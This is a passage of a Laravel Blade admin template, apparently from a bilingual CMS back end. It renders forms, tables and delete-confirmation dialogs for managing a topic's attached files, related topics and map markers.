                                                    data-target="#mc-all" ui-toggle-class="bounce"
                                                    ui-target="#animate">{{ trans('backLang.apply') }}
                                            </button>
                                        </div>
                                    </div>
                                    {{Form::close()}}
                                @endif
                            @endif
                        </div>
                    </div>
                @endif


                {{-- Additional Files--}}

                @if($WebmasterSection->extra_attach_file_status)
                    <div class="tab-pane  {{ $tab_6 }}" id="tab_files">

                        <div class="box-body">
                            @if (Session::has('fileST'))
                                @if (Session::get('fileST') == "create")

                                    <div>
                                        {{Form::open(['route'=>['topicsFilesStore',$WebmasterSection->id,$Topics->id],'method'=>'POST', 'files' => true ])}}

                                        @if(Helper::GeneralWebmasterSettings("tr_box_status"))
                                            <div class="form-group row">
                                                <label for="file_title_tr"
                                                       class="col-sm-2 form-control-label">{!!  trans('backLang.topicName') !!}
                                                    @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.turkishBox') !!}@endif
                                                </label>
                                                <div class="col-sm-10">
                                                    {!! Form::text('title_tr','', array('placeholder' => '','class' => 'form-control','id'=>'file_title_tr','required'=>'', 'dir'=>trans('backLang.ltr'))) !!}
                                                </div>
                                            </div>
                                        @endif
                                        @if(Helper::GeneralWebmasterSettings("en_box_status"))
                                            <div class="form-group row">
                                                <label for="file_title_en"
                                                       class="col-sm-2 form-control-label">{!!  trans('backLang.topicName') !!}
                                                    @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.englishBox') !!}@endif
                                                </label>
                                                <div class="col-sm-10">
                                                    {!! Form::text('title_en','', array('placeholder' => '','class' => 'form-control','id'=>'file_title_en','required'=>'', 'dir'=>trans('backLang.ltr'))) !!}
                                                </div>
                                            </div>
                                        @endif

                                        <div class="form-group row">
                                            <label for="files_file"
                                                   class="col-sm-2 form-control-label">{!!  trans('backLang.topicAttach') !!}</label>
                                            <div class="col-sm-10">
                                                {!! Form::file('file', array('class' => 'form-control','id'=>'attach_file','required'=>'')) !!}
                                            </div>
                                        </div>
                                        <div class="form-group row m-t-md" style="margin-top: 0 !important;">
                                            <div class="col-sm-offset-2 col-sm-10">
                                                <small>
                                                    <i class="material-icons">&#xe8fd;</i>
                                                    {!!  trans('backLang.attachTypes') !!}
                                                </small>
                                            </div>
                                        </div>


                                        <div class="form-group row m-t-md">
                                            <div class="col-sm-offset-2 col-sm-10">
                                                <button type="submit" class="btn btn-primary m-t"><i
                                                            class="material-icons">
                                                        &#xe31b;</i> {!! trans('backLang.add') !!}</button>
                                                <a href="{{ route('topicsFiles',[$WebmasterSection->id,$Topics->id]) }}"
                                                   class="btn btn-default m-t"><i class="material-icons">
                                                        &#xe5cd;</i> {!! trans('backLang.cancel') !!}</a>
                                            </div>
                                        </div>

                                        {{Form::close()}}
                                    </div>

                                @endif

                                @if (Session::get('fileST') == "edit")
                                    <div>
                                        {{Form::open(['route'=>['topicsFilesUpdate',$WebmasterSection->id,$Topics->id,Session::get('AttachFile')->id],'method'=>'POST', 'files' => true ])}}


                                        @if(Helper::GeneralWebmasterSettings("tr_box_status"))
                                            <div class="form-group row">
                                                <label for="file_title_tr"
                                                       class="col-sm-2 form-control-label">{!!  trans('backLang.topicName') !!}
                                                    @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.turkishBox') !!}@endif
                                                </label>
                                                <div class="col-sm-10">
                                                    {!! Form::text('title_tr',Session::get('AttachFile')->title_tr, array('placeholder' => '','class' => 'form-control','id'=>'file_title_tr','required'=>'', 'dir'=>trans('backLang.ltr'))) !!}
                                                </div>
                                            </div>
                                        @endif
                                        @if(Helper::GeneralWebmasterSettings("en_box_status"))
                                            <div class="form-group row">
                                                <label for="file_title_en"
                                                       class="col-sm-2 form-control-label">{!!  trans('backLang.topicName') !!}
                                                    @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.englishBox') !!}@endif
                                                </label>
                                                <div class="col-sm-10">
                                                    {!! Form::text('title_en',Session::get('AttachFile')->title_en, array('placeholder' => '','class' => 'form-control','id'=>'file_title_en','required'=>'', 'dir'=>trans('backLang.ltr'))) !!}
                                                </div>
                                            </div>
                                        @endif
                                        <div class="form-group row">
                                            <label for="files_file"
                                                   class="col-sm-2 form-control-label">{!!  trans('backLang.topicAttach') !!}</label>
                                            <div class="col-sm-10">
                                                <div class="col-sm-4 box p-a-xs">
                                                    <a target="_blank"
                                                       href="{{ URL::to('uploads/topics/'.Session::get('AttachFile')->file) }}"> {!! Helper::GetIcon(URL::to('uploads/topics/'),Session::get('AttachFile')->file) !!} {{ Session::get('AttachFile')->file }} </a>
                                                </div>
                                                {!! Form::file('file', array('class' => 'form-control','id'=>'files_file')) !!}
                                            </div>
                                        </div>
                                        <div class="form-group row m-t-md" style="margin-top: 0 !important;">
                                            <div class="col-sm-offset-2 col-sm-10">
                                                <small>
                                                    <i class="material-icons">&#xe8fd;</i>
                                                    {!!  trans('backLang.attachTypes') !!}
                                                </small>
                                            </div>
                                        </div>

                                        <div class="form-group row m-t-md">
                                            <div class="col-sm-offset-2 col-sm-10">
                                                <button type="submit" class="btn btn-primary m-t"><i
                                                            class="material-icons">
                                                        &#xe31b;</i> {!! trans('backLang.update') !!}</button>
                                                <a href="{{ route('topicsFiles',[$WebmasterSection->id,$Topics->id]) }}"
                                                   class="btn btn-default m-t"><i class="material-icons">
                                                        &#xe5cd;</i> {!! trans('backLang.cancel') !!}</a>
                                            </div>
                                        </div>

                                        {{Form::close()}}
                                    </div>
                                @endif
                            @else

                                @if(count($Topics->attachFiles)>0)
                                    <div class="row p-a">
                                        <div class="col-sm-12">
                                            <a class="btn btn-fw primary"
                                               href="{{route("topicsFilesCreate",[$WebmasterSection->id,$Topics->id])}}">
                                                <i class="material-icons">&#xe02e;</i>
                                                &nbsp; {{ trans('backLang.topicAttach') }}
                                            </a>
                                        </div>
                                    </div>
                                @endif
                                @if(count($Topics->attachFiles) == 0)
                                    <div class="row p-a">
                                        <div class="col-sm-12">
                                            <div class=" p-a text-center light ">
                                                {{ trans('backLang.noData') }}
                                                <br>
                                                <br>
                                                <a class="btn btn-fw primary"
                                                   href="{{route("topicsFilesCreate",[$WebmasterSection->id,$Topics->id])}}">
                                                    <i class="material-icons">&#xe02e;</i>
                                                    &nbsp; {{ trans('backLang.topicAttach') }}
                                                </a>

                                            </div>
                                        </div>
                                    </div>
                                @endif
                                @if(count($Topics->attachFiles)>0)
                                    {{Form::open(['route'=>['topicsFilesUpdateAll',$WebmasterSection->id,$Topics->id],'method'=>'post'])}}
                                    <div class="row">
                                        <table class="table table-striped  b-t">
                                            <thead>
                                            <tr>
                                                <th style="width:20px;">
                                                    <label class="ui-check m-a-0">
                                                        <input id="checkAll4" type="checkbox"><i></i>
                                                    </label>
                                                </th>
                                                <th>{{ trans('backLang.topicAttach') }}</th>
                                                <th>{{ trans('backLang.topicName') }}</th>
                                                <th class="text-center"
                                                    style="width:200px;">{{ trans('backLang.options') }}</th>
                                            </tr>
                                            </thead>
                                            <tbody>
                                            <?php
                                            $title_var = "title_" . trans('backLang.boxCode');
                                            $title_var2 = "title_" . trans('backLang.boxCodeOther');
                                            ?>
                                            @foreach($Topics->attachFiles as $file)
                                                <?php
                                                if ($file->$title_var != "") {
                                                    $file_title = $file->$title_var;
                                                } else {
                                                    $file_title = $file->$title_var2;
                                                }
                                                ?>
                                                <tr>
                                                    <td><label class="ui-check m-a-0">
                                                            <input type="checkbox" name="ids[]"
                                                                   value="{{ $file->id }}"><i
                                                                    class="dark-white"></i>
                                                            {!! Form::hidden('row_ids[]',$file->id, array('class' => 'form-control row_no')) !!}
                                                        </label>
                                                    </td>
                                                    <td>
                                                        {!! Form::text('row_no_'.$file->id,$file->row_no, array('class' => 'pull-left form-control row_no')) !!}
                                                        <a href="{{ URL::to('uploads/topics/'.$file->file) }}"
                                                           target="_blank">
                                                            {!! Helper::GetIcon(URL::to('uploads/topics/'),$file->file) !!}
                                                            {{$file->file}}</a>
                                                    </td>
                                                    <td>
                                                        <small>
                                                            {!! $file_title !!}
                                                        </small>
                                                    </td>
                                                    <td class="text-center">
                                                        <a class="btn btn-sm success"
                                                           href="{{ route("topicsFilesEdit",["webmasterId"=>$WebmasterSection->id,"id"=>$Topics->id,"file_id"=>$file->id]) }}">
                                                            <small><i class="material-icons">
                                                                    &#xe3c9;</i> {{ trans('backLang.edit') }}</small>
                                                        </a>
                                                        @if(@Auth::user()->permissionsGroup->delete_status)
                                                            <button class="btn btn-sm warning" data-toggle="modal"
                                                                    data-target="#mf-{{ $file->id }}"
                                                                    ui-toggle-class="bounce"
                                                                    ui-target="#animate">
                                                                <small><i class="material-icons">
                                                                        &#xe872;</i> {{ trans('backLang.delete') }}
                                                                </small>
                                                            </button>
                                                        @endif

                                                    </td>
                                                </tr>
                                                <!-- .modal -->
                                                <div id="mf-{{ $file->id }}" class="modal fade" data-backdrop="true">
                                                    <div class="modal-dialog" id="animate">
                                                        <div class="modal-content">
                                                            <div class="modal-header">
                                                                <h5 class="modal-title">{{ trans('backLang.confirmation') }}</h5>
                                                            </div>
                                                            <div class="modal-body text-center p-lg">
                                                                <p>
                                                                    {{ trans('backLang.confirmationDeleteMsg') }}
                                                                    <br>
                                                                    <strong>[ {!! $file_title !!} ]</strong>
                                                                </p>
                                                            </div>
                                                            <div class="modal-footer">
                                                                <button type="button" class="btn dark-white p-x-md"
                                                                        data-dismiss="modal">{{ trans('backLang.no') }}</button>
                                                                <a href="{{ route("topicsFilesDestroy",["webmasterId"=>$WebmasterSection->id,"id"=>$Topics->id,"file_id"=>$file->id]) }}"
                                                                   class="btn danger p-x-md">{{ trans('backLang.yes') }}</a>
                                                            </div>
                                                        </div><!-- /.modal-content -->
                                                    </div>
                                                </div>
                                                <!-- / .modal -->
                                            @endforeach

                                            </tbody>
                                        </table>

                                    </div>
                                    <div class="row">
                                        <div class="col-sm-3 hidden-xs">
                                            <!-- .modal -->
                                            <div id="mf-all" class="modal fade" data-backdrop="true">
                                                <div class="modal-dialog" id="animate">
                                                    <div class="modal-content">
                                                        <div class="modal-header">
                                                            <h5 class="modal-title">{{ trans('backLang.confirmation') }}</h5>
                                                        </div>
                                                        <div class="modal-body text-center p-lg">
                                                            <p>
                                                                {{ trans('backLang.confirmationDeleteMsg') }}
                                                            </p>
                                                        </div>
                                                        <div class="modal-footer">
                                                            <button type="button" class="btn dark-white p-x-md"
                                                                    data-dismiss="modal">{{ trans('backLang.no') }}</button>
                                                            <button type="submit"
                                                                    class="btn danger p-x-md">{{ trans('backLang.yes') }}</button>
                                                        </div>
                                                    </div><!-- /.modal-content -->
                                                </div>
                                            </div>
                                            <!-- / .modal -->

                                            <select name="action" id="action4"
                                                    class="input-sm form-control w-sm inline v-middle" required>
                                                <option value="">{{ trans('backLang.bulkAction') }}</option>
                                                <option value="order">{{ trans('backLang.saveOrder') }}</option>
                                                @if(@Auth::user()->permissionsGroup->delete_status)
                                                    <option value="delete">{{ trans('backLang.deleteSelected') }}</option>
                                                @endif
                                            </select>
                                            <button type="submit" id="submit_all4"
                                                    class="btn btn-sm white">{{ trans('backLang.apply') }}</button>
                                            <button id="submit_show_msg4" class="btn btn-sm white" data-toggle="modal"
                                                    style="display: none"
                                                    data-target="#mf-all" ui-toggle-class="bounce"
                                                    ui-target="#animate">{{ trans('backLang.apply') }}
                                            </button>
                                        </div>
                                    </div>
                                    {{Form::close()}}
                                @endif
                            @endif
                        </div>
                    </div>
                @endif
                {{-- End of Additional Files--}}


                {{-- Related Topics --}}

                @if($WebmasterSection->related_status)
                    <div class="tab-pane  {{ $tab_7 }}" id="tab_related">

                        <div class="box-body">
                            @if (Session::has('relatedST'))
                                @if (Session::get('relatedST') == "create")

                                    <div>
                                        {{Form::open(['route'=>['topicsRelatedStore',$WebmasterSection->id,$Topics->id],'method'=>'POST' ])}}

                                        <div class="form-group row">
                                            <label for="file_title_tr"
                                                   class="col-sm-2 form-control-label">{!!  trans('backLang.siteSectionsSettings') !!}
                                            </label>
                                            <div class="col-sm-10">
                                                <select name="related_section_id" id="related_section_id"
                                                        class="form-control c-select">
                                                    <option value="0">- - {!!  trans('backLang.topicSelectSection') !!}
                                                        - -
                                                    </option>
                                                    @foreach ($GeneralWebmasterSections as $WebmasterSection)
                                                        <?php
                                                        ?>
                                                        <option value="{{ $WebmasterSection->id  }}">{!! trans('backLang.'.$WebmasterSection->name)   !!}</option>
                                                    @endforeach
                                                </select>
                                            </div>
                                        </div>
                                        <div class="form-group row">
                                            <label for="file_title_tr"
                                                   class="col-sm-2 form-control-label">{!!  trans('backLang.relatedTopics') !!}
                                            </label>
                                            <div class="col-sm-10">
                                                <div id="r_topics"
                                                     style="max-height: 200px;overflow-y: scroll;padding: 5px;background: #f5f5f5;border: 1px solid #eee">
                                                    <i class="material-icons">&#xe8fd;</i> {!!  trans('backLang.relatedTopicsSelect') !!}
                                                </div>
                                            </div>
                                        </div>


                                        <div class="form-group row m-t-md">
                                            <div class="col-sm-offset-2 col-sm-10">
                                                <button type="submit" class="btn btn-primary m-t"><i
                                                            class="material-icons">
                                                        &#xe31b;</i> {!! trans('backLang.add') !!}</button>
                                                <a href="{{ route('topicsRelated',[$WebmasterSection->id,$Topics->id]) }}"
                                                   class="btn btn-default m-t"><i class="material-icons">
                                                        &#xe5cd;</i> {!! trans('backLang.cancel') !!}</a>
                                            </div>
                                        </div>

                                        {{Form::close()}}
                                    </div>

                                @endif

                            @else

                                @if(count($Topics->relatedTopics)>0)
                                    <div class="row p-a">
                                        <div class="col-sm-12">
                                            <a class="btn btn-fw primary"
                                               href="{{route("topicsRelatedCreate",[$WebmasterSection->id,$Topics->id])}}">
                                                <i class="material-icons">&#xe02e;</i>
                                                &nbsp; {{ trans('backLang.relatedTopicsAdd') }}
                                            </a>
                                        </div>
                                    </div>
                                @endif
                                @if(count($Topics->relatedTopics) == 0)
                                    <div class="row p-a">
                                        <div class="col-sm-12">
                                            <div class=" p-a text-center light ">
                                                {{ trans('backLang.noData') }}
                                                <br>
                                                <br>
                                                <a class="btn btn-fw primary"
                                                   href="{{route("topicsRelatedCreate",[$WebmasterSection->id,$Topics->id])}}">
                                                    <i class="material-icons">&#xe02e;</i>
                                                    &nbsp; {{ trans('backLang.relatedTopicsAdd') }}
                                                </a>

                                            </div>
                                        </div>
                                    </div>
                                @endif
                                @if(count($Topics->relatedTopics)>0)
                                    {{Form::open(['route'=>['topicsRelatedUpdateAll',$WebmasterSection->id,$Topics->id],'method'=>'post'])}}
                                    <div class="row">
                                        <table class="table table-striped  b-t">
                                            <thead>
                                            <tr>
                                                <th style="width:20px;">
                                                    <label class="ui-check m-a-0">
                                                        <input id="checkAll4" type="checkbox"><i></i>
                                                    </label>
                                                </th>
                                                <th>{{ trans('backLang.topicName') }}</th>
                                                <th class="text-center"
                                                    style="width:200px;">{{ trans('backLang.options') }}</th>
                                            </tr>
                                            </thead>
                                            <tbody>
                                            <?php
                                            $title_var = "title_" . trans('backLang.boxCode');
                                            $title_var2 = "title_" . trans('backLang.boxCodeOther');
                                            ?>
                                            @foreach($Topics->relatedTopics as $relatedTopic)
                                                <?php


                                                if ($relatedTopic->topic->$title_var != "") {
                                                $relatedTopic_title = $relatedTopic->topic->$title_var;
                                                } else {
                                                $relatedTopic_title = $relatedTopic->topic->$title_var2;
                                                }

                                                ?>
                                                <tr>
                                                    <td><label class="ui-check m-a-0">
                                                            <input type="checkbox" name="ids[]"
                                                                   value="{{ $relatedTopic->id }}"><i
                                                                    class="dark-white"></i>
                                                            {!! Form::hidden('row_ids[]',$relatedTopic->id, array('class' => 'form-control row_no')) !!}
                                                        </label>
                                                    </td>
                                                    <td> {!! Form::text('row_no_'.$relatedTopic->id,$relatedTopic->row_no, array('class' => 'pull-left form-control row_no')) !!}
                                                        <small>
                                                            {!! $relatedTopic_title !!}
                                                        </small>
                                                    </td>
                                                    <td class="text-center">
                                                        @if(@Auth::user()->permissionsGroup->delete_status)
                                                            <button class="btn btn-sm warning" data-toggle="modal"
                                                                    data-target="#mf-{{ $relatedTopic->id }}"
                                                                    ui-toggle-class="bounce"
                                                                    ui-target="#animate">
                                                                <small><i class="material-icons">
                                                                        &#xe872;</i> {{ trans('backLang.delete') }}
                                                                </small>
                                                            </button>
                                                        @endif

                                                    </td>
                                                </tr>
                                                <!-- .modal -->
                                                <div id="mf-{{ $relatedTopic->id }}" class="modal fade"
                                                     data-backdrop="true">
                                                    <div class="modal-dialog" id="animate">
                                                        <div class="modal-content">
                                                            <div class="modal-header">
                                                                <h5 class="modal-title">{{ trans('backLang.confirmation') }}</h5>
                                                            </div>
                                                            <div class="modal-body text-center p-lg">
                                                                <p>
                                                                    {{ trans('backLang.confirmationDeleteMsg') }}
                                                                    <br>
                                                                    <strong>[ {!! $relatedTopic_title !!} ]</strong>
                                                                </p>
                                                            </div>
                                                            <div class="modal-footer">
                                                                <button type="button" class="btn dark-white p-x-md"
                                                                        data-dismiss="modal">{{ trans('backLang.no') }}</button>
                                                                <a href="{{ route("topicsRelatedDestroy",["webmasterId"=>$WebmasterSection->id,"id"=>$Topics->id,"related_id"=>$relatedTopic->id]) }}"
                                                                   class="btn danger p-x-md">{{ trans('backLang.yes') }}</a>
                                                            </div>
                                                        </div><!-- /.modal-content -->
                                                    </div>
                                                </div>
                                                <!-- / .modal -->
                                            @endforeach

                                            </tbody>
                                        </table>

                                    </div>
                                    <div class="row">
                                        <div class="col-sm-3 hidden-xs">
                                            <!-- .modal -->
                                            <div id="mf-all" class="modal fade" data-backdrop="true">
                                                <div class="modal-dialog" id="animate">
                                                    <div class="modal-content">
                                                        <div class="modal-header">
                                                            <h5 class="modal-title">{{ trans('backLang.confirmation') }}</h5>
                                                        </div>
                                                        <div class="modal-body text-center p-lg">
                                                            <p>
                                                                {{ trans('backLang.confirmationDeleteMsg') }}
                                                            </p>
                                                        </div>
                                                        <div class="modal-footer">
                                                            <button type="button" class="btn dark-white p-x-md"
                                                                    data-dismiss="modal">{{ trans('backLang.no') }}</button>
                                                            <button type="submit"
                                                                    class="btn danger p-x-md">{{ trans('backLang.yes') }}</button>
                                                        </div>
                                                    </div><!-- /.modal-content -->
                                                </div>
                                            </div>
                                            <!-- / .modal -->

                                            <select name="action" id="action4"
                                                    class="input-sm form-control w-sm inline v-middle" required>
                                                <option value="">{{ trans('backLang.bulkAction') }}</option>
                                                <option value="order">{{ trans('backLang.saveOrder') }}</option>
                                                @if(@Auth::user()->permissionsGroup->delete_status)
                                                    <option value="delete">{{ trans('backLang.deleteSelected') }}</option>
                                                @endif
                                            </select>
                                            <button type="submit" id="submit_all4"
                                                    class="btn btn-sm white">{{ trans('backLang.apply') }}</button>
                                            <button id="submit_show_msg4" class="btn btn-sm white" data-toggle="modal"
                                                    style="display: none"
                                                    data-target="#mf-all" ui-toggle-class="bounce"
                                                    ui-target="#animate">{{ trans('backLang.apply') }}
                                            </button>
                                        </div>
                                    </div>
                                    {{Form::close()}}
                                @endif
                            @endif
                        </div>
                    </div>
                @endif
                {{-- End of Related Topics --}}

                @if($WebmasterSection->maps_status)
                    <div class="tab-pane  {{ $tab_5 }}" id="tab_maps">

                        <div class="box-body">

                            <div class="row">
                                @if (Session::has('mapST'))

                                    @if (Session::get('mapST') == "edit")
                                        <div class="col-sm-offset-2 col-sm-8">
                                            <br>
                                            {{Form::open(['route'=>['topicsMapsUpdate',$WebmasterSection->id,$Topics->id,Session::get('Map')->id],'method'=>'POST', 'files' => true ])}}


                                            <div class="form-group row">
                                                <label for="longitude"
                                                       class="col-sm-3 form-control-label">{!!  trans('backLang.topicMapLocation') !!}
                                                </label>
                                                <div class="col-sm-5">
                                                    {!! Form::text('longitude',Session::get('Map')->longitude, array('placeholder' => '','class' => 'form-control','id'=>'longitude','required'=>'')) !!}
                                                </div>
                                                <div class="col-sm-4">
                                                    {!! Form::text('latitude',Session::get('Map')->latitude, array('placeholder' => '','class' => 'form-control','id'=>'latitude','required'=>'')) !!}
                                                </div>
                                            </div>


                                            @if(Helper::GeneralWebmasterSettings("tr_box_status"))
                                                <div class="form-group row">
                                                    <label for="title_tr"
                                                           class="col-sm-3 form-control-label">{!!  trans('backLang.topicMapTitle') !!}
                                                        @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.turkishBox') !!}@endif
                                                    </label>
                                                    <div class="col-sm-9">
                                                        {!! Form::text('title_tr',Session::get('Map')->title_tr, array('placeholder' => '','class' => 'form-control','id'=>'title_tr', 'dir'=>trans('backLang.ltr'))) !!}
                                                    </div>
                                                </div>
                                            @endif
                                            @if(Helper::GeneralWebmasterSettings("en_box_status"))
                                                <div class="form-group row">
                                                    <label for="title_en"
                                                           class="col-sm-3 form-control-label">{!!  trans('backLang.topicMapTitle') !!}
                                                        @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.englishBox') !!}@endif
                                                    </label>
                                                    <div class="col-sm-9">
                                                        {!! Form::text('title_en',Session::get('Map')->title_en, array('placeholder' => '','class' => 'form-control','id'=>'title_en', 'dir'=>trans('backLang.ltr'))) !!}
                                                    </div>
                                                </div>
                                            @endif

                                            @if(Helper::GeneralWebmasterSettings("tr_box_status"))
                                                <div class="form-group row">
                                                    <label for="details_tr"
                                                           class="col-sm-3 form-control-label">{!!  trans('backLang.topicMapDetails') !!}
                                                        @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.turkishBox') !!}@endif
                                                    </label>
                                                    <div class="col-sm-9">
                                                        {!! Form::textarea('details_tr',Session::get('Map')->details_tr, array('placeholder' => '','class' => 'form-control','id'=>'details_tr','rows'=>'3', 'dir'=>trans('backLang.ltr'))) !!}
                                                    </div>
                                                </div>
                                            @endif
                                            @if(Helper::GeneralWebmasterSettings("en_box_status"))
                                                <div class="form-group row">
                                                    <label for="details_en"
                                                           class="col-sm-3 form-control-label">{!!  trans('backLang.topicMapDetails') !!}
                                                        @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.englishBox') !!}@endif
                                                    </label>
                                                    <div class="col-sm-9">
                                                        {!! Form::textarea('details_en',Session::get('Map')->details_en, array('placeholder' => '','class' => 'form-control','id'=>'details_en','rows'=>'3', 'dir'=>trans('backLang.ltr'))) !!}
                                                    </div>
                                                </div>
                                            @endif

                                            <div class="form-group row">
                                                <label for="link_status"
                                                       class="col-sm-3 form-control-label">{!!  trans('backLang.topicMapIcon') !!}</label>
                                                <div class="col-sm-9">
                                                    <div class="radio">
                                                        <label class="ui-check ui-check-md">
                                                            {!! Form::radio('icon','0',true, array('id' => 'status1','class'=>'has-value')) !!}
                                                            <i class="dark-white"></i>
                                                            <img src="{{ URL::to('backEnd/assets/images/marker_0.png')}}"
                                                                 style="width: 25px;">
                                                        </label>
                                                        <label class="ui-check ui-check-md">
                                                            {!! Form::radio('icon','1',(Session::get('Map')->icon==1) ? true : false, array('id' => 'status2','class'=>'has-value')) !!}
                                                            <i class="dark-white"></i>
                                                            <img src="{{ URL::to('backEnd/assets/images/marker_1.png')}}"
                                                                 style="width: 25px;">
                                                        </label>
                                                        <label class="ui-check ui-check-md">
                                                            {!! Form::radio('icon','2',(Session::get('Map')->icon==2) ? true : false, array('id' => 'status2','class'=>'has-value')) !!}
                                                            <i class="dark-white"></i>
                                                            <img src="{{ URL::to('backEnd/assets/images/marker_2.png')}}"
                                                                 style="width: 25px;">
                                                        </label>
                                                        <label class="ui-check ui-check-md">
                                                            {!! Form::radio('icon','3',(Session::get('Map')->icon==3) ? true : false, array('id' => 'status2','class'=>'has-value')) !!}
                                                            <i class="dark-white"></i>
                                                            <img src="{{ URL::to('backEnd/assets/images/marker_3.png')}}"
                                                                 style="width: 25px;">
                                                        </label>
                                                        <label class="ui-check ui-check-md">
                                                            {!! Form::radio('icon','4',(Session::get('Map')->icon==4) ? true : false, array('id' => 'status2','class'=>'has-value')) !!}
                                                            <i class="dark-white"></i>
                                                            <img src="{{ URL::to('backEnd/assets/images/marker_4.png')}}"
                                                                 style="width: 25px;">
                                                        </label>
                                                        <label class="ui-check ui-check-md">
                                                            {!! Form::radio('icon','5',(Session::get('Map')->icon==5) ? true : false, array('id' => 'status2','class'=>'has-value')) !!}
                                                            <i class="dark-white"></i>
                                                            <img src="{{ URL::to('backEnd/assets/images/marker_5.png')}}"
                                                                 style="width: 25px;">
                                                        </label>
                                                        <label class="ui-check ui-check-md">
                                                            {!! Form::radio('icon','6',(Session::get('Map')->icon==6) ? true : false, array('id' => 'status2','class'=>'has-value')) !!}
                                                            <i class="dark-white"></i>
                                                            <img src="{{ URL::to('backEnd/assets/images/marker_6.png')}}"
                                                                 style="width: 25px;">
                                                        </label>
                                                    </div>
                                                </div>
                                            </div>

                                            <div class="form-group row">
                                                <label for="link_status"
                                                       class="col-sm-3 form-control-label">{!!  trans('backLang.status') !!}</label>
                                                <div class="col-sm-9">
                                                    <div class="radio">
                                                        <label class="ui-check ui-check-md">
                                                            {!! Form::radio('status','1',(Session::get('Map')->status==1) ? true : false, array('id' => 'status1','class'=>'has-value')) !!}
                                                            <i class="dark-white"></i>
                                                            {{ trans('backLang.active') }}
                                                        </label>
                                                        &nbsp; &nbsp;
                                                        <label class="ui-check ui-check-md">
                                                            {!! Form::radio('status','0',(Session::get('Map')->status==0) ? true : false, array('id' => 'status2','class'=>'has-value')) !!}
                                                            <i class="dark-white"></i>
                                                            {{ trans('backLang.notActive') }}
                                                        </label>
                                                    </div>
                                                </div>
                                            </div>

                                            <div class="form-group row m-t-md">
                                                <div class="col-sm-offset-3 col-sm-9">
                                                    <button type="submit" class="btn btn-primary m-t"><i
                                                                class="material-icons">
                                                            &#xe31b;</i> {!! trans('backLang.update') !!}</button>
                                                    <a href="{{ route('topicsMaps',[$WebmasterSection->id,$Topics->id]) }}"
                                                       class="btn btn-default m-t"><i class="material-icons">
                                                            &#xe5cd;</i> {!! trans('backLang.cancel') !!}</a>
                                                </div>
                                            </div>

                                            {{Form::close()}}
                                        </div>
                                    @endif

                                @else
                                    <div>
                                        <div id="mmn-{{ $Topics->id }}" class="modal fade"
                                             data-backdrop="true">
                                            <div class="modal-dialog" id="animate">
                                                <div class="modal-content">
                                                    <div class="modal-header">
                                                        <h5 class="modal-title">{{ trans('backLang.topicNewMap') }}</h5>
                                                    </div>
                                                    {{Form::open(['route'=>['topicsMapsStore',$WebmasterSection->id,$Topics->id],'method'=>'POST', 'files' => true ])}}
                                                    <div class="modal-body p-lg">
                                                        <div>

                                                            <div class="form-group row">
                                                                <label for="longitude"
                                                                       class="col-sm-3 form-control-label">{!!  trans('backLang.topicMapLocation') !!}
                                                                </label>
                                                                <div class="col-sm-5">
                                                                    {!! Form::text('longitude','', array('placeholder' => '','class' => 'form-control','id'=>'longitude','required'=>'')) !!}
                                                                </div>
                                                                <div class="col-sm-4">
                                                                    {!! Form::text('latitude','', array('placeholder' => '','class' => 'form-control','id'=>'latitude','required'=>'')) !!}
                                                                </div>
                                                            </div>


                                                            @if(Helper::GeneralWebmasterSettings("tr_box_status"))
                                                                <div class="form-group row">
                                                                    <label for="title_tr"
                                                                           class="col-sm-3 form-control-label">{!!  trans('backLang.topicMapTitle') !!}
                                                                        @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.turkishBox') !!}@endif
                                                                    </label>
                                                                    <div class="col-sm-9">
                                                                        {!! Form::text('title_tr','', array('placeholder' => '','class' => 'form-control','id'=>'title_tr', 'dir'=>trans('backLang.ltr'))) !!}
                                                                    </div>
                                                                </div>
                                                            @endif
                                                            @if(Helper::GeneralWebmasterSettings("en_box_status"))
                                                                <div class="form-group row">
                                                                    <label for="title_en"
                                                                           class="col-sm-3 form-control-label">{!!  trans('backLang.topicMapTitle') !!}
                                                                        @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.englishBox') !!}@endif
                                                                    </label>
                                                                    <div class="col-sm-9">
                                                                        {!! Form::text('title_en','', array('placeholder' => '','class' => 'form-control','id'=>'title_en', 'dir'=>trans('backLang.ltr'))) !!}
                                                                    </div>
                                                                </div>
                                                            @endif

                                                            @if(Helper::GeneralWebmasterSettings("tr_box_status"))
                                                                <div class="form-group row">
                                                                    <label for="details_tr"
                                                                           class="col-sm-3 form-control-label">{!!  trans('backLang.topicMapDetails') !!}
                                                                        @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.turkishBox') !!}@endif
                                                                    </label>
                                                                    <div class="col-sm-9">
                                                                        {!! Form::textarea('details_tr','', array('placeholder' => '','class' => 'form-control','id'=>'details_tr','rows'=>'3', 'dir'=>trans('backLang.ltr'))) !!}
                                                                    </div>
                                                                </div>
                                                            @endif
                                                            @if(Helper::GeneralWebmasterSettings("en_box_status"))
                                                                <div class="form-group row">
                                                                    <label for="details_en"
                                                                           class="col-sm-3 form-control-label">{!!  trans('backLang.topicMapDetails') !!}
                                                                        @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")){!!  trans('backLang.englishBox') !!}@endif
                                                                    </label>
                                                                    <div class="col-sm-9">
                                                                        {!! Form::textarea('details_en','', array('placeholder' => '','class' => 'form-control','id'=>'details_en','rows'=>'3', 'dir'=>trans('backLang.ltr'))) !!}
                                                                    </div>
                                                                </div>
                                                            @endif


                                                            <div class="form-group row">
